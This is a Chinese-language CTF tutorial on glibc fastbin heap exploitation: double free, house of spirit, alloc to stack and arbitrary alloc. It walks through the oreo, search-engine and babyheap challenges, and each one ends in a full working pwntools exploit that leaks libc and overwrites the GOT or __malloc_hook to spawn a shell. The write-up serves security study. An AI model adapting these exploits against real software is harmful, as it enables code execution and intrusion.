fastbin attack:
漏洞利用前提:
存在栈溢出,UAF等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
漏洞类型介绍以及利用方式:
1、Fastbin Double Free
2、House of Spirit
这两种侧重利用free函数释放的真实的chunk或伪造的chunk,然后再次申请chunk进行攻击
3、Alloc to Stack
4、Arbitrary Alloc
这两种侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击
漏洞原理:
fastbin使用单向链表维护堆块的释放,并且fastbin管理的chunk即使被释放,next_chunk的prev_inuse位也不会清空。
fastbin double free:
介绍:
fastbin中的chunk被释放了两次(>=2)==》被释放的chunk可以在fastbin中存在多次==》多次分配时可从fastbin链表中取出同一个堆块
漏洞利用原因:
fastbin的堆块释放后next_chunk的prev_inuse位不会被清空
fastbin在执行free的时候仅验证main_arena直接指向的块==》链表指针头部的块,对于后面的块没有进行验证
add()#1
add()#2
free(1)
free(2)
free(1)
add(xx,bss_chunk)#从fastbin中申请出chunk1,并将chunk1的fd指针指向我们想要控制的地址,例:bss_chunk
add()#申请出chunk2
add()#再一次申请出chunk1
add()#此次将会申请出目标地址,获得bss_chunk控制权
house of spirit:
核心:在目标位置伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的
与fastbin double free区别:
fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk
fake chunk需要绕过的检测:
ISMMAP位不能为1,对于free的mmap的chunk,会进行单独处理
地址需要对齐,MALLOC_ALIGN_MASK
size需要满足fastbin需求
next chunk大小不能小于2*SIZE_SZ,不能大于av->system_me
效果:
能修改指定地址的前后内容使其绕过对应的检测
例题:
2014_hack.lu_oreo:
检查保护:
只开启了canary和NX保护
静态分析:
主函数:
run()函数
1、添加步枪:
可将添加功能看作是一个结构体:
desc占据25字节
name占据27字节
malloc_point占据4字节
注意点:
1、name最大27字节,desc最大25字节,但是在功能中却允许最大输入为56个字节==》输入的字符串可以突破成员变量的限制,导致数据溢出到其他成员变量中
2、dowrd_804A288这个全局变量指针存放的是malloc指针,这个malloc指针并没有按照任何结构摆放==》
每一次申请一个chunk,他的上一个申请的malloc指针都将被覆盖成新的malloc指针==》
dowrd_804A288全局变量只会存在一个chunk的malloc指针==》即最后的一次申请的malloc指针
2、查看已添加的步枪:
dowrd_804A288全局变量中只存放最后一个申请的chunk的malloc指针==》变量i就是chunk的malloc指针
==》在一次循环结束会进行i = *(i + 13)操作==》正好指向结尾处前一个chunk的malloc指针==》该功能会一次性将所有创建的信息打印出来
3、订购枪支:
注意点:
在循环释放中,ptr指针每一次被释放之后都会被v1变量重新赋值==》在最后一次被释放后ptr并不会被清空
==》UAF
4、订单留言:
5、显示当前状态:
思路总结与动态调试:
1、枪支具有的结构体信息
2、添加枪支功能中有堆溢出
3、在显示枪支中会把所有创建的chunk打印
4、订单提交中存在UAF
5、dword_804A288:内部存储最后一个被创建的chunk的malloc指针
6、dword_804A2A4:申请的次数
7、dword_804A2A8:留言地址
申请两个chunk:32位程序的chunk头大小为0x8==》malloc(0x38)==》size=0x40
===》
此时只需堆溢出至point区域==》
#利用堆溢出将point指针指向puts@got
payload='a'*27+p32(elf.got['puts'])
desc='b'*24
add(payload,desc)
==》使用打印功能可以将函数的真实地址打印出来==》获得system()和’/bin/sh’的地址
#泄露地址,接收,获得system函数地址
show()
io.recvuntil('Description: ')
io.recvuntil('Description: ')
puts_addr=u32(io.recv(4))
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
将xx函数的got改成system(‘/bin/sh’)==》伪造chunk==》在全局变量处伪造chunk==》
dword_804A2A4:
将0x804A2A4看作size区,0x804A2A0看作prev_size区===》程序无法自定义创建的chunk大小,固定为0x40
==》通过申请0x40次chunk使0x804A2A4变为0x40,这40个chunk的point要设置为NULL,fastbin装不下多的==》0x804A2A8至0x804A2D8为data区==》
#申请0x40个chunk使0x804A2A4变为0x40
for i in range(0x3e):
add('a'*27+p32(0),'a')
masg_addr=0x804a2a8
payload='c'*27+p32(masg_addr)
add(payload,'d'*24)
伪造chunk绕过检查:
next chunk:
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
==》大于 2 * SIZE_SZ 且小于 av->system_mem ==》
next chunk从0x804A2E0开始==》通过留言功从0x804a2c0地址处能将next chunk的prev_size设置为0x40,size设置为0x40(符合条件即可)==》
payload=0x20*'a'+p32(0x40)+p32(0x40)
#绕过next chunk,使用留言功能伪造next chunk
payload='\x00'*0x20+p32(0x40)+p32(0x40)
massage(payload)
伪造完chunk后使用提交订单功能将fake_chunk释放==》
==》再次申请fake_chunk,在0x804a2a8处写入xx@got==》在调用写留言功能时将跳转至该函数got中,进行got覆盖==》覆盖成system(‘/bin/sh’)==》get shell
str_got=p32(elf.got['strlen'])
#此时申请回fake_chunk
add('a',str_got)
#使用留言功能覆盖got表
massage(p32(sys_addr)+';/bin/sh')
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
io=process('./oreo')
#io=remote()
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(name,desc):
#io.recvuntil("Action: ")
io.sendline('1')
#io.recvuntil("Rifle name: ")
io.sendline(str(name))
#io.recvuntil("Rifle description: ")
io.sendline(str(desc))
def show():
#io.recvuntil("Action: ")
io.sendline('2')
io.recvuntil("===================================")
def order():
#io.recvuntil("Action: ")
io.sendline('3')
def massage(content):
#io.recvuntil("Action: ")
io.sendline('4')
#io.recvuntil("Enter any notice you'd like to submit with your order: ")
io.sendline(content)
#堆溢出控制point
payload='a'*27+p32(elf.got['puts'])
desc='b'*24
add(payload,desc)
#泄露puts函数地址
show()
io.recvuntil('Description: ')
io.recvuntil('Description: ')
puts_addr=u32(io.recv(4))
#计算偏移与system函数地址
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
#进入伪造堆块过程:
#申请0x40个chunk使0x804A2A4变为0x40
for i in range(0x3e):
add('a'*27+p32(0),'a')
masg_addr=0x804a2a8
payload='c'*27+p32(masg_addr)
add(payload,'d'*24)
#绕过next chunk,使用留言功能伪造next chunk
payload='\x00'*0x20+p32(0x40)+p32(0x40)
massage(payload)
#释放所有堆块
order()
str_got=p32(elf.got['strlen'])
#此时申请回fake_chunk
add('a',str_got)
#使用留言功能覆盖got表
massage(p32(sys_addr)+';/bin/sh')
#gdb.attach(io)
io.interactive()
本地执行exp:
alloc to stack:
劫持fastbin链表中chunk的fd指针,把fd指针指向我们要分配的栈上,实现控制栈中的执行流
例题:
2015_9447ctf_search-engine:
检查保护:
静态分析+动态跟踪:
主函数:
sub_400A40:
sub_4009B0:
函数功能描述:
1、接收输入的字符串
2、判断输入内容截止位置
3、限制输入长度
sub_400AD0:
释放每个句子的malloc指针==》句子被释放,指针并没有被清空==》
单词结构体中存储的单词仅仅是一个句子的指针==》单词会被置’\x00’==》
句子对应的单词仍然存在于链表中,并没有被删除==》
chunk被释放至bin中,当chunk不是fastbin或者chunk重新分配出去使用的时候==》double free
句子被memset==》单词变为’\x00’==》仍然可以通过两个’\x00’的比较绕过memcmp的比较
sub_400C00:
最后的循环总结:
遍历过程中没遇到一个空格就为新单词创建一个新的结构体==》
每一个单词结构体创建结束之后qword_6020B8全局变量都会记录该结构体的malloc指针
在新单词遍历结束时qword_6020B8全局变量会将前一个单词的malloc指针赋给当前单词结构体的第5个成员变量
结构体:
1、n_word_addr==》句子中第n个word的起始地址
2、n_word_size==》句子中第n个word的长度
3、sentence_addr==》句子的起始地址
4、sentence_size==》句子的长度
5、prev_word_struct_addr(在循环中设置)
循环执行例:
输入aa bb cc==》
aa:未进入循环时结构体A已经建好
创建4个成员变量,aa为第一个单词无第五成员变量
bb:在遍历到第一个空格时创建bb的结构体B,前4个变量与aa相同
第五成员变量由全局变量qword_6020B8提供==》前一个单词的结构体的malloc指针
cc:遍历到第二个空格时创建cc的结构体C,前4个成员变量与前面一样
第5个成员变量由全局变量qword_6020B8提供==》前一个单词的结构体的malloc指针
==》chunk2的第五成员变量使用chunk3的prev_size存储==》存储的是chunk1的data地址
==》chunk3的第五成员变量使用top chunk的prev_size存储==》存储的是chunk2的data地址
此时qword_6020B8全局变量存储的是chunk3的data地址
输入aa bb cc 时==》
遍历到第三个空格,也就是cc后的空格,创建结构体D,成员变量同上,判断空格后无字符==》结构体D被释放
逻辑解释==》
==》
==》
思路总结+动态调试:
system()==》泄露获得==》
程序的main_arena到libc的基地址是固定的0x3c4b20==》
libc_base = main_arena_addr - main_arena_offset(0x3c4b20)
==》需要main_arena的地址==》当释放一个不是fast_chunk的块==》进入unsorted bin==》
当unsorted bin中只有一个chunk,并且这个chunk的下一个块不是top chunk==》
该chunk的fd和bk指针均指向unsorted bin的起始地址==》
unsorted bin 距离main_arena的偏移是固定的88==》
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena(88)
===》
首要目的==》泄露unsorted bin==》创建一个small bin大小的chunk==》
small_bin='a'*0x85+' b '
index(small_bin)
search('b')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
==》
已知信息:
1、句子在释放后会以\x00的形式填充清空
2、在free()函数执行之后并没有将被释放chunk的指针置空==》double free
3、在搜索单词功能的中存在两处检查==》检查结构体第三成员变量sentence_addr所指向的位置是否有值,检查输入的size是否与结构体第二变量word一致
==》绕过检查==》
检查1==》指向的地址内句子的内容被fd和bk覆盖了,第一处检查符合
检查2==》在释放完chunk后内容会被覆盖为\x00==》再次通过所有\x00可以重新释放unsorted bin中的chunk了==》\x00占一个字节==》符合第二检查条件
==》
search('\x00')
io.recvuntil("Found "+str(len(small_bin))+': ')
unsorted_bin=u64(io.recv(8))
print(hex(unsorted_bin))
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#只需打印,不用删除
==》计算main_arena==》计算libc基地址==》
main_arena=unsorted_bin-88
libcbase=main_arena-0x3c4b20
==》get shell==》控制hook==》控制malloc_hook==》将malloc_hook位造成fake_chunk==》
malloc_hook附近的chunk大小一般为0x70==》malloc_hook作为内容的fake_chunk的size同样需要0x70
==》需要经历释放后重新被启用的过程==》fake_chunk被释放==》挂进fastbin==》重新启用同一个chunk的形式将fake_chunk挂进fastbin中==》
fake_chunk的大小为0x70==》循环列表中的chunk的size也必须大于0x60,小于0x70==》
1、添加句子a==》’a’*0x5d+’ d ‘
2、添加句子b==》’b’*0x5d+’ d ‘
3、添加句子c==》’c’*0x5d+’ d ‘
index('a'*0x5d+' d ')
index('b'*0x5d+' d ')
index('c'*0x5d+' d ')
==》索引单词d==》3条句子均被删除==》
search('d')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
fastbin链表:a->b->c->NULL(遍历句子的时候是从后向前遍历,首先释放c)==》
匹配单词\x00==》此时句子c中无内容,a,b中有fd==》绕过sentence_ptr检查==》
再次删除==》搜索单词\x00==》c验证不通过,b验证通过,释放,a验证通过,释放(释放不删除)==》
fastbin链表:b->a->b->a->NULL
==》doule free b
search('\x00')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')#chunk b再释放,形成循环链表
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#已构成循环链表,chunk a已经不需要释放了
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#在泄露libc时创建的chunk 无需释放
计算malloc_hook地址==》
malloc_hook相对于main_arena的偏移是0x10,malloc_hook在main_arena的低地址位==》
使用pwndbg寻找fake_chunk==》
==》fake_chunk:0x7f73ed42faed==》计算偏移==》
fake_offset_hook=malloc_hook-fake_chunk=0x7f73ed42fb100x7f73ed42faed=0x23
fake_offset_main_arena=fake_offset_hook+0x10=0x33
将fake_chunk链入fastbin链表==》修改chunk b的fd指针,指向fake_chunk==》重新启用chunk b==》
申请size为0x70的chunk==》
fake_chunk=p64(main_arena-0x33).ljust(0x60,'x')
index(fake_chunk)
此时fastbin中的chunk b已经指向fake_chunk==》
fastbin链表状态:a->b->fake_chunk
只需将这块fake_chunk申请出来,在其中部署one_gadget==》malloc_hook上覆盖one_gadget==》
get shell
index('a'*0x60)#a
index('a'*0x60)#b
#one_gadget=libcbase+0x45226
#one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
one_gadget=libcbase+0xf1247
payload='a'*0x13+p64(one_gadget)
#malloc相对于fake_chunk的偏移为0x23,去掉chunk头剩下0x13
#malloc_hook的起始地址相对于fake_chunk数据区起始地址的偏移为0x13
payload=payload.ljust(0x60,'c')
index(payload)
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
io=process('./search')
elf=ELF('./search')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def search(word):
io.recvuntil("3: Quit")
io.sendline('1')
io.recvuntil("Enter the word size:")
io.sendline(str(len(word)))
io.recvuntil("Enter the word:")
io.send(word)
def index(content):
io.recvuntil("3: Quit")
io.sendline('2')
io.recvuntil("Enter the sentence size:")
io.sendline(str(len(content)))
io.recvuntil("Enter the sentence:")
io.send(content)
small_bin='a'*0x85+' b '
index(small_bin)
search('b')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
search('\x00')
io.recvuntil("Found "+str(len(small_bin))+': ')
unsorted_bin=u64(io.recv(8))
print(hex(unsorted_bin))
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')
main_arena=unsorted_bin-88
libcbase=main_arena-0x3c4b20
index('a'*0x5d+' d ')
index('b'*0x5d+' d ')
index('c'*0x5d+' d ')
search('d')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
#gdb.attach(io)
search('\x00')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')
fake_chunk=p64(main_arena-0x33).ljust(0x60,'x')
index(fake_chunk)
index('a'*0x60)
index('a'*0x60)
#one_gadget=libcbase+0x45226
#one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
one_gadget=libcbase+0xf1247
payload='a'*0x13+p64(one_gadget)
payload=payload.ljust(0x60,'c')
index(payload)
#gdb.attach(io)
io.interactive()
exp本地调试:
arbitrary alloc:
与alloc to stack相同,唯一的区别就是分配的目标可以不再是栈中,只要满足目标地址存在合法的size域,我们都可以把chunk分配到任意内存中,比如bss,heap,data,stack等
例:分配fastbin到mallloc_hook的位置,相当于覆盖malloc_hook来控制程序流程
例题:
2017 0ctf babyheap:
检查保护:
保护全开
静态分析:
主函数:
sub_B70:
add:
该函数无返回值,参数为sub_B70()函数返回的随机地址
结构体:
inuse
size
calloc_addr
内容填充函数:
delete:
show:
动态调试:
申请堆块,查看结构体位置==》
结构体:
==》
inuse成员变量为1
第二成员变量为输入的size
第三成员变量chunk的data区==》
第一步:泄漏地址==》泄漏main_arena地址==》unsorted_addr==》
不与top chunk相邻的第一个被释放进unsorted bin的chunk的fd指向unsorted_addr==》
构造unsorted bin==》
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
将chunk2和chunk1释放,进入fastbin中==》
dele(2)
dele(1)
chunk1_fd–>chunk2_fd–>NULL==》
通过向chunk中填充chunk的功能实现堆溢出==》
通过chunk0溢出至chunk1,修改chunk1的fd指针,指向chunk4==》
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
#0x10字节在chunk0的data中占位
#p64(0)+p64(0x21)为chunk1的chunk头
#p8(0x80)覆盖chunk1_fd的最后一个字节为0x80
fill(0,len(payload),payload)
覆盖前:
覆盖后:
chunk1–>chunk4==》
想要对chunk4进行操作==》重启fastbin中的chunk4==》chunk4的size为0x90,不是0x20==》无法启用
==》通过chunk3向chunk4中溢出数据==》修改chunk4的szie为0x20==》重新启用chunk4==》
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,len(payload),payload)
申请两次chunk==》第一次申请到chunk1,第二次申请到chunk4==》此时0x20大小的chunk4有另外一个名字==》chunk2==》此时将chunk4重新修改回0x90==》将chunk4释放进入unsorted==》
此时我们可以利用chunk2控制已经释放的chunk4==》
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,len(payload),payload)
add(0x80)#5
#不与top chunk相邻的第一个释放的chunk,fd==>unsorted_addr
dele(4)
show(2)
io.recvuntil("Content: \n")#注意换行符
unsorted_addr=u64(io.recv(8))
计算基地址==》
main_arena=unsorted_addr-88
libcbase=main_arena-0x3c4b20
伪造chunk==》malloc_hook==》在malloc_hook附近寻找一个可用的fake_chunk==》
先申请一个size为0x70的chunk6(占用以释放的chunk4)==》将其释放进fastbin==》
可以通过chunk2对其控制==》向chunk2中填充fake_chunk的地址==》chunk6的fd==》fake chunk==》
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
fake_chunk=p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)
==》申请出第一个0x70的chunk6,申请第二个0x70的fake_chunk==》
add(0x60)
add(0x60)
get shell==》one gadget==》
#one_gadget=libcbase+0x45226
one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
#one_gadget=libcbase+0xf1247
payload='a'*0x13+p64(one_gadget)
fill(6,len(payload),payload)#fake_chunk
add(0x40)#get shell
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
io=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):
io.recvuntil("Command: ")
io.sendline('1')
io.recvuntil("Size: ")
io.sendline(str(size))
def fill(index,size,content):
io.recvuntil("Command: ")
io.sendline('2')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)
def dele(index):
io.recvuntil("Command: ")
io.sendline('3')
io.recvuntil("Index: ")
io.sendline(str(index))
def show(index):
io.recvuntil("Command: ")
io.sendline('4')
io.recvuntil("Index: ")
io.sendline(str(index))
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
dele(2)
dele(1)
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,len(payload),payload)
add(0x10)
add(0x10)
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,len(payload),payload)
add(0x80)
dele(4)
show(2)
io.recvuntil("Content: \n")
unsorted_addr=u64(io.recv(8))
print(hex(unsorted_addr))
main_arena=unsorted_addr-88
libcbase=main_arena-0x3c4b20
print(hex(libcbase))
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
fake_chunk=p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)
add(0x60)
add(0x60)
#one_gadget=libcbase+0x45226
one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
#one_gadget=libcbase+0xf1247
payload='a'*0x13+p64(one_gadget)
fill(6,len(payload),payload)#fake_chunk
add(0x40)#get shell
#gdb.attach(io)
io.interactive()